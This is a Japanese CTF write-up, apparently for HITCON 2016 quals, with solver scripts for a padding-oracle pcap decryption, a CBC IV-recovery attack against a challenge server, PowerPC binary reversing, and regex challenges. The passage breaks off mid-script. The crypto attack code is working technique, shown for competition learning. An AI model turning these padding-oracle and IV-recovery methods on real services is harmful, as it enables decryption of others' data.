with open('da.txt','r') as fp: s = fp.readlines() sta = [] for d in s: if 'CONST' in d: x = d.split()[3][1:-1] if x == 'None': break sta.append(chr(int(x))) elif 'ROT' in d: x = sta.pop() y = sta.pop() sta.append(x) sta.append(y) elif 'ADD' in d: x = sta.pop() y = sta.pop() sta.append(x+y) print sta print sta[0][::-1] #Call me a Python virtual machine! I can interpret Python bytecodes!!! """ password: Call me a Python virtual machine! I can interpret Python bytecodes!!! hitcon{Now you can compile and run Python bytecode in your brain!} """
(どうやら、767のPOP_JUMP_IF_FALSEをnopにして実行するという手もあったらしい)
Hackpad
でかい.pcapファイルが渡される。中を見るとhttp500の中にちょこっとhttp200が紛れている、という感じ。
これ(【CODEGATE2011 - Quals】 Crypto400 - 人素（とーしろー）の物思い)の存在を思い出す。どうやら同じくpadding oracle attackのキャプチャが与えられるので、元の文字列を復号する問題。こないだやったなー、(csaw ctf 2016 quals のwriteup - 忖度のNeo)と思いつつやる。
当初scapyでやろうかとおもっていたのだが、データが膨大で無限に時間がかかっていたので適当に抽出もどきを書く。C++はpythonよりずっとはやい。
#include<cstdio> #include<cstring> using namespace std; #define rep(i,n) for(int i=0;i<((int)(n));i++) FILE* fp; void uget(char* s){ int ls = strlen(s); int i=0; for(;i<ls;){ char c; fread(&c, sizeof(char),1,fp); if(s[i]==c)i++; else{ if(c==s[0])i=1; else i=0; } } } int main(void){ fp = fopen("hackpad.pcap","rb"); rep(i,100000){ uget("msg"); char s[100]; int de = 65; if(!fread(s, sizeof(char),de,fp)){ break; } s[de]='\0'; printf("%s\n",s); } return 0; }
padding oracle attackなので、
...前略... =67acd06f7f7b28762310ce1213fccb11997d9369c74c82abba4cc3b1bfc65f02 =000000000000000000000000000000ff6c957ff0feef61b161cfe3373c2d9b90 ...後略...
こんな感じで、先頭文字が一気に000000になってるとこを探して、その直前のみを抽出する。
with open('extattack.txt','rb') as fp: s = fp.read() ms = '=ff' s = s.split('\n') for d in s: d = d[d.find('='):] if len(d)<2 or d[1]==' ': continue if d[1:3]=='00': continue if int(ms[1:3],16) <= int(d[1:3],16): print ms ms = d
これによって、
=67acd06f7f7b28762310ce1213fccb11997d9369c74c82abba4cc3b1bfc65f02 =a90ca309b638f6d2c43bf3ceddb72c7e6c957ff0feef61b161cfe3373c2d9b90 =19a50e949a9e12ca51b680074d53abe15639aa3688659566d9acc93bb72080f7 =325ddb45f355f21ea0dfb10bce43b097e5ebd643808a0e50e1fc3d16246afcf6 =9089a03ce2f77b24d1995e6f5a1dcc9288dfedf02ad4ae84fd92c5c53bbd98f0 =f0aadd905ba0dafd83e5f5ba4d8de9c08b21d838a3261874c4ee3ce8fbcb9662 =f843b158c7596f16b58e449188fbeb178d5706499dd985ec0c13573eeee03766 =ee34773ee8e79f9475772441908b6f42f7010a867edfed92c33233b17a9730eb =847a7ff24ead84a2b20247c45bee43924a82a6db51fa6124bfc48ef99d669e21 =6ae7c5eb319f1550c6baf9c9aa45a94c740d12656f597e691bbcbaa67abe1a09 =6e546c551c3b17097fc3cdc40bde6260f02afc37140b167533c7536ab2ecd4ed =cc1a9a46767267074fb26e16c792a38937572fc9154d23aa7d8c92b84b774702 =4f674fb564345dce08e4f68836022461632ed2737a569e4dfbe01338fcbb2a77 =1259a7104a29e8298e9e23408ddd5f47ddd6990ce169bb4f48e1ca96d30eced2 =b9a9a97e9459db3e3c95bfe2e336bbba3b6fe5b875ca6481056848be0fbc26bc =5b1e9bcc00be5db1611778cc7a8c55c3bffdfe966da4221103408f459ec1ef12 =c29d8ff214d65e643327f621e6f18b6ac72068bc1b96df045d3fa12cc2a9dcd1 =b2100dc26fe3bd783446df5bf2dabeb862ffdf876b3bc3a3ed2373559bcbe3f4 =029ba0f0094aa3db94504335f9b29e8d70a8c695bf54796bfe471cd34b463e98 =14d1a0e0814e6371e45d06c9515c248276212df912deef882b657954d7dada47
という、正式にdecodeできる(であろう)長さ2ブロック分の文字列が20個見つかる。
あと、ほかにパケットの先頭を漁ると、
3ed2e01c1d1248125c67ac637384a22d997d9369c74c82abba4cc3b1bfc65f026c957ff0feef61b161cfe3373c2d9b905639aa3688659566d9acc93bb72080f7e5ebd643808a0e50e1fc3d16246afcf688dfedf02ad4ae84fd92c5c53bbd98f08b21d838a3261874c4ee3ce8fbcb96628d5706499dd985ec0c13573eeee03766f7010a867edfed92c33233b17a9730eb4a82a6db51fa6124bfc48ef99d669e21740d12656f597e691bbcbaa67abe1a09f02afc37140b167533c7536ab2ecd4ed37572fc9154d23aa7d8c92b84b774702632ed2737a569e4dfbe01338fcbb2a77ddd6990ce169bb4f48e1ca96d30eced23b6fe5b875ca6481056848be0fbc26bcbffdfe966da4221103408f459ec1ef12c72068bc1b96df045d3fa12cc2a9dcd162ffdf876b3bc3a3ed2373559bcbe3f470a8c695bf54796bfe471cd34b463e9876212df912deef882b657954d7dada47
という、21ブロック(336byte)の文字列が見つかる。
これが攻撃対象の文字列と考えられるので、これを復号してやる。
やり方はNEOのときと同様に。
qs = "3ed2e01c1d1248125c67ac637384a22d997d9369c74c82abba4cc3b1bfc65f026c957ff0feef61b161cfe3373c2d9b905639aa3688659566d9acc93bb72080f7e5ebd643808a0e50e1fc3d16246afcf688dfedf02ad4ae84fd92c5c53bbd98f08b21d838a3261874c4ee3ce8fbcb96628d5706499dd985ec0c13573eeee03766f7010a867edfed92c33233b17a9730eb4a82a6db51fa6124bfc48ef99d669e21740d12656f597e691bbcbaa67abe1a09f02afc37140b167533c7536ab2ecd4ed37572fc9154d23aa7d8c92b84b774702632ed2737a569e4dfbe01338fcbb2a77ddd6990ce169bb4f48e1ca96d30eced23b6fe5b875ca6481056848be0fbc26bcbffdfe966da4221103408f459ec1ef12c72068bc1b96df045d3fa12cc2a9dcd162ffdf876b3bc3a3ed2373559bcbe3f470a8c695bf54796bfe471cd34b463e9876212df912deef882b657954d7dada47" xs = """ =67acd06f7f7b28762310ce1213fccb11997d9369c74c82abba4cc3b1bfc65f02 =a90ca309b638f6d2c43bf3ceddb72c7e6c957ff0feef61b161cfe3373c2d9b90 =19a50e949a9e12ca51b680074d53abe15639aa3688659566d9acc93bb72080f7 =325ddb45f355f21ea0dfb10bce43b097e5ebd643808a0e50e1fc3d16246afcf6 =9089a03ce2f77b24d1995e6f5a1dcc9288dfedf02ad4ae84fd92c5c53bbd98f0 =f0aadd905ba0dafd83e5f5ba4d8de9c08b21d838a3261874c4ee3ce8fbcb9662 =f843b158c7596f16b58e449188fbeb178d5706499dd985ec0c13573eeee03766 =ee34773ee8e79f9475772441908b6f42f7010a867edfed92c33233b17a9730eb =847a7ff24ead84a2b20247c45bee43924a82a6db51fa6124bfc48ef99d669e21 =6ae7c5eb319f1550c6baf9c9aa45a94c740d12656f597e691bbcbaa67abe1a09 =6e546c551c3b17097fc3cdc40bde6260f02afc37140b167533c7536ab2ecd4ed =cc1a9a46767267074fb26e16c792a38937572fc9154d23aa7d8c92b84b774702 =4f674fb564345dce08e4f68836022461632ed2737a569e4dfbe01338fcbb2a77 =1259a7104a29e8298e9e23408ddd5f47ddd6990ce169bb4f48e1ca96d30eced2 =b9a9a97e9459db3e3c95bfe2e336bbba3b6fe5b875ca6481056848be0fbc26bc =5b1e9bcc00be5db1611778cc7a8c55c3bffdfe966da4221103408f459ec1ef12 =c29d8ff214d65e643327f621e6f18b6ac72068bc1b96df045d3fa12cc2a9dcd1 =b2100dc26fe3bd783446df5bf2dabeb862ffdf876b3bc3a3ed2373559bcbe3f4 =029ba0f0094aa3db94504335f9b29e8d70a8c695bf54796bfe471cd34b463e98 =14d1a0e0814e6371e45d06c9515c248276212df912deef882b657954d7dada47 """.split() xs = map(lambda d: d[1:],xs) ts = "" for s in xs: s = s[:32] ta = qs[:32] qs = qs[32:] be = "" for i in xrange(16): a = int(s[i*2:i*2+2],16) b = int(ta[i*2:i*2+2],16) be += chr(a^b^16) ts += be print ts """ In cryptography, a padding oracle attack is an attack which is performed using the padding of a cryptographic message. hitcon{H4cked by a de1ici0us pudding '3'} In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive. """
Let's Decrypt
CBCモード理解してますか、という問題。
こっちから暗号化された値を送ると向こうでAES-CBCで復号してくれるサービスが与えられる。また、文字列 'The quick brown fox jumps over the lazy dog' を暗号化した値も返してくれる。鍵と初期化ベクトルとしてどちらもflagを使われているので、それを当ててください、という問題。
CBCについては、暗号利用モード - Wikipedia が分かりやすい。
CBCは16byteのブロックごとに処理しているので、まず、'The quick brown fox jumps over the lazy dog' にパディングを足して48byteにする。(各ブロックをC[0],C[1],C[2]とする) これを暗号化すると48byteの文字列が返ってくる。(各ブロックをD[0],D[1],D[2]とする)
ここで、初期化ベクトルをIVとすると、各ブロックに対して、
C[0] = dec(D[0]) ^ IV, C[1] = dec(D[1]) ^ D[0], C[2] = dec(D[2]) ^ D[1]
の関係がある。
さて、たとえば復号文字列として、D[1]+D[0]+D[1]+D[2] を送ってみると、64byteの復号化された文字列が返ってくる。(A[0],A[1],A[2],A[3]とする)
このとき、
A[0] = dec(D[1]) ^ IV, A[1] = dec(D[0]) ^ D[1], A[2] = dec(D[1]) ^ D[0], A[3] = dec(D[2]) ^ D[1] = C[2]
となっている。C[2]は正しくパディングされているのでA[2]も正しくパディングされていて、向こうでdecrypt-errorになることはない。
さて、ここで式をよく見てみると、
IV = A[0] ^ dec(D[1]) = A[0] ^ C[1] ^ D[0]
となっているが、A[0],C[1],D[1]は既知なのでこれらをXORすればフラグが得られる。
#coding: utf-8 import struct, socket, sys, telnetlib, os,time def hex2s(s): ls = len(s) res = "" for i in xrange(ls/2): res += chr(int(s[i*2:i*2+2],16)) return res """ The quick brown The quick brown fox jumps over the lazy dog 4a5b8d0034e5469c071b60000ca134d9 e04f07e4dcd6cf096b47ba48b357814e 4a89ef1cfad33e1dd28b892ba7233285 """ a = '4a5b8d0034e5469c071b60000ca134d9' b = 'e04f07e4dcd6cf096b47ba48b357814e' c = '4a89ef1cfad33e1dd28b892ba7233285' def getunt(c): global sock res = "" while res=='' or res[-len(c):]!=c: res += sock.recv(1) print res return res def send(s): global sock sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('52.69.125.71', 4443)) getunt('decrypt\n') sock.send('2\n' + s + '\n') s = sock.recv(1024) s = hex2s(s) print s return s ta = hex2s(a) tb = hex2s(b) tc = hex2s(c) tx = send(b + a + b + c) gx = tx[:16] ty = 'fox jumps over t' def zxor(p,q): res = "" for c,d in zip(p,q): res += chr(ord(c)^ord(d)) return res s = zxor(zxor(ty,gx),ta) print s | #hitcon{R4nd0m IV plz XD}
Sharingan
AIが天元に打ったあとマネ碁をしてくるので、相手より石を多くとれ、という問題。
ただし、相手の石が取られそうになると、自分の石が相手の石に置換されてしまう、という仕様。
ヒカルの碁、の3巻あたりにあったマネ碁破りの方法を利用する。
＋＋＋＋＋＋＋＋＋ ＋＋＋○○○○＋＋ ＋＋○●●●＊○＋ ＋＋●○●●○＋＋ ＋●＋○○○●＋＋ ＋＋●●●●＋＋＋ ＋＋＋＋＋＋＋＋＋
対称に打っていくと、上の盤面のようになる。
ここで白が＊に打つと、AIは取られると判断してそれを黒石に置換するが、それでも囲われているので取られる、という仕組み。
Flame
powerpcの64bitバイナリをreversingする問題。
powerpcバイナリを動かせるgdbとかのデバッガがあればあっという間に解決していた筈なのだが、それを入れるのに(僕とかyamaguchi氏とか)めちゃ苦労していて、ずっとほったらかしにされていた。yamacuchi氏からobjdump結果を貰ってそれをもとに解析した。
powerpc語になれていなかったのでわりと勘で補ったところがあるが、主要部分は
srand(7777); unsigned int data[35] = {どうやら初期化されてるみたい}; for(int i=0;i<35;i++){ data[i] ^= rand(); } char s[36]; scanf("%s",s); if(strlen(s)==35){ for(int i=0;i<35;i++){ if(s[i]!=data[i]){ //たぶんWrongとか表示してexitするやつ } } //たぶんCongratsとかがこのへんで表示されそう }
だいたいこんなかんじ。デバッガがあれば適当にメモリを覗くだけで済むのだがそうは問屋が卸さない。
まず、"qemu-ppc -d in_asm flame"で実行時のトレース結果が一緒に出るので、それを元にして解こうとしてみる。具体的には、先頭の一致文字数が長いほどトレース結果が増えるはずなので、まず先頭の1文字を全通り試して1文字目を確定させる->2文字目...みたいな感じでやっていこうかと思ったのだが、なぜかqemuの挙動がおかしくてうまいこと動かない(i=1のときにi<35がfalseと判定されているっぽい)。のでこの案は失敗。
さて、readelfの結果を参考にしつつ、ELF中の初期化データが置かれてそうなとこを探ってみる。と、
...前略... 0078970: 7420 796f 7572 2066 6c61 6720 3a29 0000 t your flag :).. 0078980: 596f 7572 2066 6c61 6720 6973 2069 6e63 Your flag is inc 0078990: 6f72 7265 6374 203a 2800 0000 0000 0cfe orrect :(....... 00789a0: 0000 0859 0000 095d 0000 0871 0000 040d ...Y...]...q.... 00789b0: 0000 0006 0000 0ade 0000 0fa8 0000 0561 ...............a 00789c0: 0000 09da 0000 0878 0000 0682 0000 0fa9 .......x........ 00789d0: 0000 0f5f 0000 025e 0000 0db0 0000 0fbf ..._...^........ 00789e0: 0000 0bc6 0000 0d38 0000 095d 0000 0d09 .......8...].... 00789f0: 0000 07ed 0000 0307 0000 01c0 0000 0399 ................ 0078a00: 0000 0956 0000 0a45 0000 0292 0000 0c8a ...V...E........ 0078a10: 0000 092f 0000 004a 0000 0964 0000 0194 .../...J...d.... 0078a20: 0000 09da 0000 011f 2e2e 2f63 7375 2f6c ........../csu/l 0078a30: 6962 632d 7374 6172 742e 6300 5f5f 6568 ibc-start.c.__eh 0078a40: 6472 5f73 7461 7274 2e65 5f70 6865 6e74 dr_start.e_phent 0078a50: 7369 7a65 203d 3d20 7369 7a65 6f66 202a size == sizeof * 0078a60: 474c 2864 6c5f 7068 6472 2900 4641 5441 GL(dl_phdr).FATA 0078a70: 4c3a 206b 6572 6e65 6c20 746f 6f20 6f6c L: kernel too ol ...後略...
のようなものがある。0x789cから0x78a24に謎データが載っていて、これの長さがint配列で35なので、これで試しにデコードしてみる。と、フラッグが復元された。
x = """ 00789a0: 0000 0cfe orrect :(....... 00789a0: 0000 0859 0000 095d 0000 0871 0000 040d ...Y...]...q.... 00789b0: 0000 0006 0000 0ade 0000 0fa8 0000 0561 ...............a 00789c0: 0000 09da 0000 0878 0000 0682 0000 0fa9 .......x........ 00789d0: 0000 0f5f 0000 025e 0000 0db0 0000 0fbf ..._...^........ 00789e0: 0000 0bc6 0000 0d38 0000 095d 0000 0d09 .......8...].... 00789f0: 0000 07ed 0000 0307 0000 01c0 0000 0399 ................ 0078a00: 0000 0956 0000 0a45 0000 0292 0000 0c8a ...V...E........ 0078a10: 0000 092f 0000 004a 0000 0964 0000 0194 .../...J...d.... 0078a20: 0000 09da 0000 011f """ y = """ 205757590 998377520 1430092073 2047191058 1959523426 1763442792 1345239717 793358328 658433361 1016199565 1294268491 1322964720 2137247737 1405325116 642114049 1392987601 988381069 740379636 1285459211 1904974096 943865137 605738913 1559909246 926847391 1442292648 425531748 1307965978 1673880289 860617914 1317232 831869049 1066375504 999694753 114477475 966082914 """ x = x.split('\n') x = x[1:-1] tx = [] td = [] for i,d in enumerate(x): d = d.split(' ') d = d[1:] p = 4 if i==0: p = 1 elif i == 9: p = 2 for j in xrange(0,p): td.append(d[j*2+1]) y = y[1:-1] y = y.split('\n') s = "" for p,q in zip(td,y): q = hex(int(q)) p = int(p,16) q = int(q[2:],16) s += chr( (p ^ q) & 0xff) print s #hitcon{P0W3rPc_a223M8Ly_12_s0_345y}
I'm here
yamaguchiプロとcookiesプロのペアがやってた。解説は彼らに任せる。
僕も手元でいじったりしていて、pythonでサーバとの通信部を書いてそれを渡したりしていたのだが、自分が出力部を適当に書いていたせいで、なぜかコアダンプが途切れてしまってflagが得られない、みたいなバグを生み出してしまっていた。申し訳ねえ。(自戒の意味をこめてメモしておく)
angry boy
申し訳ねえシリーズ第二弾。自分の書いたスクリプトをhakatashi氏に並列化とかいじってもらったりしていたのだが、書き方がひどかった(自分の書くコードはたいてい目が腐るといわれてしまう)ためにいろいろと面倒くさいことになってしまった模様。
RegExpert
moRE
今回のesolang部門。与えられた要件を満たす正規表現を作って送りつける問題。人々の間でonigurumaとか田中哲スペシャルとかの用語が通じるようになっていたのは面白かった。
正規表現超絶技巧プログラミング力を高めた
— じんの (@moratorium08) 2016年10月10日
「正規表現」に無限のパワーを与える"田中哲スペシャル" - Atzy->getLog() とか、回文や XML にマッチする鬼車の正規表現 - まめめも とかを参考にした。Rubular: a Ruby regular expression editor and tester ここがテストとしてよいそう。
自分の関わった部分についてだけ。
^(?<p>(a\g<p>b|ab))$
a^nb^nにマッチする正規表現。(反復補題とはなんだったのか...)
\gを使えば再帰ができるので実質文脈自由文法と同じ能力になる。
あと、これを12文字以下にする必要があったが、そのへんはmoratorium氏にまかせた。
^(0|[1-9]\d*0000|(4|8|(([1-9]\d*|)([13579][26]|[2468][048])|[1-9]\d*0[48]))(00|))$
うるう年のみにマッチする正規表現。つまり x%4==0 && (x%100!=0 || x%400==0) ですね。
x%4==0 || x%400==0をまとめることができるので縮まる。
^(?!(xx+)\1+$)xx+$
xが素数個ならんだ文字列(xx|xxx|xxxxx|.....) に対応する正規表現。
文脈自由でさえないので、どないすればええねんという感じだったが、ぐぐるとこれ (java - How to determine if a number is a prime with regex? - Stack Overflow)
が出てくる。?!内の(xx+)\1+が合成数にマッチするので、これを用いれば動く。
^(?=[01]*,[01]*$)(?=((?<u>(.,.|.\g<u>.)))$)(?<w>(|(?<s>(0|1))\g<w>)),(?<t>(|(?!\k<s+0>).\g<t>))$
001,110とか、010100,101011とか、前半と後半がビット反転の関係にあるもののみにだけマッチするやつ。
本質は
^(?<w>(|(?<s>(0|1))\g<w>)),(?<t>(|(?!\k<s+0>).\g<t>))$
の部分で、左側にある?<s>でキャプチャされた部分と同じ再帰の深さにあるとこで、右で\k<s+0>がキャプチャされる、みたいな？(自分でも原理はよく分かっていなくて、適当に動かしていたらうまく動いた、という感じ)これだけだとコンマの左右での文字列長が違っていてもマッチしてしまっていたので、前半をとりあえず書いてみたが、これでは長いと言われてしまい、あとはmoratorium氏のショートコーディング力におねがいした。
moREは、4問解いて終いかと思ったら、flagがregexp形式で出力されてきて焦る。残り20分強くらあったが似非solverを書ききれなかった...(終了30分後くらいにフラグが得られた)
bef = r""" ^([[dKSbqJWjnuhQ}iyfspkUPY HBFxtRE{GCLOXwoNcv]&&[^dqEpDvkz\-}BPoIrXFW ]&&[^Oo zE}PvdBl\-:DkcUXifjnLMueryg]&&[^EmlpD}TYbiaNonudjHAwzCUcQkxf{vSWFrXgIOBV]&&[f:VLxUeGFYMEoaWyPchBbvA]&&[^XsZjFxQ:wAgqiE{er\-fODTd]&&[^EtZlYUze\-G{JgyVcfknDSXCRo:jx]])([[srkgOMniDpXEujfdVwBYUKJmWAQ{Sqh\-oRa b]&&[IVyWRAJBxiGkDoefLQt]&&[^Y:PsuMK br{mjZkgG]&&[^KVcqnRYdojLQXsrBlzeyDI gbStGZ]&&[ ZEMnjAbkH{iQKmzgDtTsFpxXI:uCvfUVdqSlBwYP]&&[^qsbGCEn:NFDhyU{]&&[^}\-zWEAOTJSMrIaPHChvN{Y]&&[tvYkLJrTiAxeVnHmjQ I{FpRqESyzONlKCWg\-cX]])([[^Ssk}\-mqKUOARXIuZLgDpHeM]&&[OFxcVeqJHbtYvmuza]&&[jKHYwgPpsntbkCdl\-UxBTZFaVGzSOrvem]&&[^gKyqRLDMcA kWmlHEJGPXSdxeZ\-F:sobz}rC]&&[pRwAFqeKc{jnzU ClmNOhiYWPxytVbufX:GTg]&&[^zmUMVNk}SWCiDGLFTP:Xsea\-]&&[\-QVjC:woRJtFAvkIbEKGYi{DLaxf]&&[PVcx wFZNuklmqbzshpedGf}tWSaTXo\-OiL]])([[^xNFB:TzpysbwA ]&&[^wyNXgCKLTMIbAtRU]&&[^eGIdM SroOjLpDVNatWA\-JKqCwU]&&[xUEnXRGLmCHkdTMuBZeSqc}yh:IpwlQA]&&[TC\-pUB{xIlH:sPaKvkoDQeAXiMWnJNGVrLy hFR}cS]&&[BFVabZicAu sEqmLxdTP]])([[td\-{kaP iEFWqCZlOomnSVeG}]&&[mAzYtkBZjEH oWligRncIhNs}]&&[vYeb\-VAg:oQSRwjMkd]&&[IPgS}kr DiazyxudVHneNsEcmoQRBtbMGKhWq]&&[QNkdSTWKF vBoqPXJrItayA]&&[aPL{AQ:RJ\-fFrETKel}unxpYBmVq vwoSOdUIbCjtH]])([[^Xm fQlHLDeGJtwqgCTxAB]&&[^Odhsi{lPbyotmRFkzHcAf XEIuGVKYaeUWJwgjZpM]&&[^FgG}sPyXEdTwWxvcrCUjN:\-M]&&[^abJd\-IFyWeEixGM{V:ATrOqLposcvNU ]&&[ukRGnoW VBK}yq]])([[nzK{aRQwqYIsZvuMxyO:GUFWb\-lrSc]&&[DULOQ{IxBgRAhymMJe]&&[^tuEybwanKZhJOVlUQ\-ioRM XfvqP:NrdcIDzAxeH]])([[PujVDm:fOxEygG{sIbJkRnrC\-}HSaUlXdMBZLYio]&&[^MiWlhQtrfDodTHGS]&&[RzwgjWbda}SDUcXHfBAos{mI\-lQOtYJ]&&[^vZQBsXYo{VxjCpFyD]&&[\-emjNSv:LPkVta}IoTzdYGKCDq{fQnJhRybUZAOF]&&[iHPGNJkaScdY:BtIRVmXOw}M]&&[Z RkohALFygUut}NYdmGQprEeIWwxqs]&&[nDUCkRQLlqTPHstyhxoA\-Guap]])([[^T\-DkmjSx{zGO CLB:FZEiIVKUfqH]&&[JbR qf:ey{jQOrVBM]&&[BHQcfZr:iyovVLPJRptgM}FGX{neSulwT]&&[^Pag}fD:vu LHdRoYshziXTQFmpZCtlwG]&&[vL fI{iYMHbj:NVDck\-ZeRUQ}PqBTpAuhFCGKJsO]&&[^SpOVGYWwKZHsravMnIkDci:uogPjAXxBCUfbqRQEy]&&[^VIEGU:jvyhQw{xsioSgWTdPDcZrJRB\-HLKOA}lmzM]])([[YOepxMTni{sFR UdlkhtJrKo:ZDHXEzASgGVf]&&[zXJlpWqfhswme{vUVd\-ZL}KQoItyYSbaR:OGE]&&[^EpAWqdDONwLTtCkm ZMsy]&&[^kpd\-nASNDaLvWhmMyEeYJoHjGOTziX{IF l]&&[^bse{rtKxY\-kyOd]&&[^QKMdVsRvaq}AyCHneglrXDTcSo{UIbZFNOj]&&[ivfpnNSbIROhCj\-MDuwygazmqxoPL:KGAc]&&[GnCOM}DsfxoBSUzHItXFQiPEpVbdkq:hRcTJLeg]&&[^hDtfnY\-KZgRLSFz]])([[JYOmFnZCMyLoQGNXz}kUgDdW A{wscevhbIRqSE]&&[^aJdQXmlVHroTfw]&&[^vzeKuJiFGST\-cDm jVqCdNy:]&&[^kDLtoJsfixvMXpVE SBRd\-AU:lQuqP}cYn]&&[^jeAMXfFpBlYO dWgShJRqv}TUNCbkzP]&&[qwGYZmefjtJNbL:gyuiKPsMn}BprTDIkRFocvx]&&[^tMI:U}uzkK\-Ogad]])\9([[^tAjm\-WcNe{STqiwlEfPhQ}:nXoCkxFu]&&[gmvMKIUSAFXxaEd{\-N bwo:RGCkeyVQrPOqlcD}u]&&[gJx u:YONUlbM{CKrocsk]&&[gJHCARb\-Z WnfTGzjp:MhYaFseVwSrli]&&[^}GUxR{yKl\-AfMXiFOYNHkw]&&[^xAUOIVozPv\-gQJsjLSe]&&[^U}QipGex{quvHDZ JA]&&[^YRFsayHbzjQ:CL\-tDxlpN]])\5([[S\-kYJaogmdW{cVK}AFCsnf Irqile:X]&&[fBQFUpGkInrVHS{JCujcwM ZiL}\-RWvdy]&&[u\-PnYjdrtB colfQHOIDKSbZUiJ{]&&[^E}uHVzplmiIvaFCZksy:AnWMeo]&&[^gmu}\-eJXlTqIZL]&&[zKVJgdFDEvcLksjYBHmGRWTiPlwMOSXC :bt}Z]&&[URKEWj\-qx{ekAglQ:DozcaMtHsB hPFCYZu]&&[^ARlmN}TuUZ{fFhsX:iJ]&&[^LVdTwsPjaRQGpJYcXeMHuxEBZ{q\-kKlFWmtg]])([[^TeW{vc}rJCqVgyHOPZpwM]&&[^xnevtzrilpJXHISOTdGCumAwqEsU]&&[hTFAEIaNMuyXHe:QiSr\-fLm}vbYUD{RkJBgKq x]&&[XCLNRxtPivVnhBKu\-olwpYsEWzkUMqaeGT{]&&[kCVXKEPwQWDh{qYmBOgZUlIaRHN:jJv\-bTxMncs ]&&[^dQqWLhNBmjCtoOYyGTSMFzVRli}rvHgkA ]&&[^{dUaK}t:gLFlfVEeTvmCNIxqZYijnJokspWcAHbSX]])([[^wEaDvpNlILVQAXGu]&&[^rDnApNtPmeVUuLoJQ}FRBKwqy O]&&[^\-eE:YlaJk}yRoLWugzdVZPT MDvrqHUGn]&&[^n}zejcgb{Gsfk\-J NaiolwEYWDHdLTM:VmyXAvpQq]&&[nckSa}mzWJU:BxPwltY{TVMsvXpoGeiOI]&&[akS\-Iy}mvL{lWU:GNDHQKYATCsErdgpzOM wX]])\3([[^}KWdlCNqGHBjJhsDIMrAEp]&&[^mFnOYG iXrjVdT]&&[^E B\-AzxKQX{SyvJb:gIRqkdUhtNG]&&[u{noSO}Kg\-WDYp:javyV]&&[^eHBZVpkxUFCw:f]&&[ WPRGxOuBimLkYc:wsadqf}lyJzvDUnNAQKbVIj\-e]&&[JNwKD{aUoie qEyWrpPkZBFTh]])\12\3\2\6([[aHcCmUkIfQtVgEGl hxYXFiuKeSLZ]&&[xefFIqAgSaYMuGs]&&[^uGLnsoDclFqhIQbfvOWix{ezHJV aZ:ytUpmYTw]&&[ITtQmBnJSUgNDV}hAWXGMsureERFL]&&[^ldLBEXwC{tP H:zyIKODU]&&[^OEVYTbFq hHed\-KcXw]&&[^SxtJGvPc\-XDFKRsYZanur]])\13([[wLPkKCduRy\-aMOlmbiFEZWXvIGJjoDct]&&[EDrC}I{xBT\-hcabNusAPFneqJOX:ki j]&&[xiFIYQMDLGHlmV{a\-XyZP]&&[^uG s}XCzqnTKBvH]&&[nzLdajUB{CmwySsAROk\-QKFPMxftv}olDi]&&[^DjqEMzyRhuSZJxbWQsLvONUCG Vfk:KmdYaw\-TnitH]&&[Qd{PUywXOpxzurml]])\12\5\17\12\16([[PBr{mqMZFhUazHpOxKSfondtV}TkICRbLGg:yD]&&[joDyrlszYQNUcSfhmVnPuEHb]&&[A:DBcWzNsnmX JCLTaxOVSH}fYZqro]&&[x:nR{DMCNGKlAqSvemziYufHFw dc}ZsLkQbWryh]&&[WrHQ\-EezlgLwNPT}pUCFicMoa:jtDfmXbyRB]&&[rsIwzLy{HVCKtkAndxOlRF TXmNZQafjBUPGJ:pMc}]&&[^CUtQDsIjhNF \-nlpiAVHuBRYEoKXdwS{yLaGf]&&[kYphKuSL}emn{wxOVTrCNJHoIfUavXAD]&&[{oIxVNXZHiM\-AwcjsdCOtmFzB]])\19\2\6\17\13\2\6\13([[LC Awgo:OBe\-hNTtuKaSbqzlcG]&&[^FxTbDHLga}UWjyOtXh\-RqeMzdflPVJnImBYkCiN]&&[mkOlsoBhb:{TiuNPeHqLnY}MgZ\-UfAvQz]&&[^r\-dOsbDVPcyiSwUXRh FoCLWIvQuza]&&[^bVJUOwlNjPdzBCeZa{GkHEgWchr]&&[REg{W oUv:VnmwAXa]&&[^rnqgfEcmetLih}JKUbTZW ON]&&[^NxDRsYGZyjatCoqXPWr]&&[^WkXcKVYSjTf{ydnupPUbwqtMGJhONQRv}DHg:ei L]])\6\5\3\1\9\12\13([[Ay MDBhsCnWTGfrcoqF}N\-ZUQixmRkzbpYud]&&[^GENTDZQe\-PnVxIdJAMBjOcCz:Xp FyHbgRraf]&&[znksUoR:JjEDBpSNChQWZ f}OYiwugXA\-y]&&[^YQZPzcVluyn}qe:SDBbtIUNd iO{r]&&[^UEGPoLdriVzNglYmyObTnv :]&&[^UYdtg{PbaZHOjlFi:rQycEIvVBx\-sADCLS}R]&&[^hON{U\-lbyEJASYLoGD]&&[osuJSiHrN{htdUDGaZWPImM:FBQ bYOA]])\5\12([[^EVFSeGNrbDCaM{KmLh\- YHdopOsInfXW}]&&[^XGSh}Ha:eADCPpcEZrjidzOMBUImwQWon sL]&&[v{dOApXUfG}haeqS\-DJyW:KHNoTzElkgYiImVFBucC]&&[^MmPebn:Q KhsDz]&&[^Kuog {OPQXivtTWzhDC}GSfcM\-k:wLAY]&&[FQiLqbSJwesUhf DuARlZdaIGg]&&[^FOLsfqRUIcCV{jJYmodivN}xAHPpy]])([[^CX:OBWnHboDhzi}F]&&[nrpgbcqI lTCQAowdZfmEGKyij:tPHhDU]&&[^sgLvMFGSR{quCTpBQKcProyA]&&[^mF:ZAoskhfgKwH]&&[MqiJYyR:SWDQpd v}rKwsmEcXHTzZtgakf{Gju]&&[^Ko\-psGakrVg:nYAiuFSxEXwbmehOM qNHURT]&&[cRydhm{iQDKaTvFeIAnBqWlwLt:GOs]&&[^lpgFNLIDZJKuzXT:Pf]&&[TzUePJX{\-ausnEicyWwdA}rIVRgMHNLQ:kKbDxSh]])\14([[^eSwrLVByhniCQvDsAcIlxfmNUWuMzToHKpGd]&&[}vNOcwzmipquLHtJah:rTfyZXl KBGCMSbUYe]&&[^kWsTvGqrV\-mfMac]&&[^ZLmIfqdnjCzRXrQYsbBWv\-UJ:plu]&&[jOV}CaWBkMKuFvcESLhsilz{YNydmfQRUXDxJ:ZtP]&&[jLzqHRo{:kabdrK}ZUsQCGiuA\-mecExvgShwMFJOyt]&&[EtRYlumkyHDUTz:Ve}i\-nBJdcOqKZpWXNFbxShfs]&&[^IxRqKplz:fYoerTn uCMDiJVyNUAQE]&&[^z{AqXkswgMfaJdOIN:PjytRebU]])$ """ inde = 0 def ins(s): global inde return inde * ' ' + s def spka(s): s = s[1:] 